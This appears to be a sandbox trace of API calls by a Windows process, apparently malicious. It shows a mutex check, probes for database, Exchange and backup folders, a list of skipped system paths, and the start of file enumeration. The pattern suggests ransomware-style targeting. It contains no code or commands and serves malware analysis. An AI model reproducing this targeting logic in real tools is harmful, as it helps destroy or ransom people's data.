[0051.881] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.881] GlobalUnlock (hMem=0x440004) returned 0 [0051.881] GlobalLock (hMem=0x440004) returned 0x550170 [0051.881] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.881] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.881] GlobalUnlock (hMem=0x440004) returned 0 [0051.881] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.881] GlobalUnlock (hMem=0x44000c) returned 0 [0051.881] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.881] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST") returned 1 [0051.881] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.881] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.881] GlobalUnlock (hMem=0x44000c) returned 0 [0051.881] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.881] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.881] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.881] GlobalUnlock (hMem=0x44000c) returned 0 [0051.882] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.882] GlobalUnlock (hMem=0x440004) returned 0 [0051.882] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夎U壢U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.892] GetLastError () returned 0x3 [0051.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.896] GetLastError () returned 0x2 [0051.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0051.897] GetLastError () returned 0x2 [0051.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0051.898] GetLastError () returned 0x2 [0051.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18뾴R\x18j")) returned 0xffffffff [0051.898] GetLastError () returned 0x2 [0051.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.899] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0051.899] GetLastError () returned 0x2 [0051.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RP") returned 6 [0051.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18y")) returned 0xffffffff [0051.901] GetLastError () returned 0x2 [0051.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.901] GetLastError () returned 0x2 [0051.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0051.902] GetLastError () returned 0x2 [0051.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@ꜤR企@\x18?T\x18\x8f")) returned 0xffffffff [0051.903] GetLastError () returned 0x2 [0051.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a228, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="奌U䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.903] GetLastError () returned 0x2 [0051.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.904] GlobalLock (hMem=0x440004) returned 0x550170 [0051.904] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.904] GlobalUnlock (hMem=0x440004) returned 0 [0051.904] GlobalLock (hMem=0x440004) returned 0x550170 [0051.904] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.904] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.904] GlobalUnlock (hMem=0x440004) returned 0 [0051.904] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.904] GlobalUnlock (hMem=0x44000c) returned 0 [0051.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.904] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.904] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.904] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.905] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a248, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.905] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.905] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.905] GlobalUnlock (hMem=0x44000c) returned 0 [0051.905] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.905] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.905] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.905] GlobalUnlock (hMem=0x44000c) returned 0 [0051.905] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.905] GlobalUnlock (hMem=0x440004) returned 0 [0051.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\indust\\") returned 0x3f [0051.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.907] GlobalLock (hMem=0x440004) returned 0x550170 [0051.907] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.907] GlobalUnlock (hMem=0x440004) returned 0 [0051.907] GlobalLock (hMem=0x440004) returned 0x550170 [0051.907] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.907] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.907] GlobalUnlock (hMem=0x440004) returned 0 [0051.907] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.907] GlobalUnlock (hMem=0x44000c) returned 0 [0051.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.907] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.907] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0051.907] FileTimeToLocalFileTime (in: 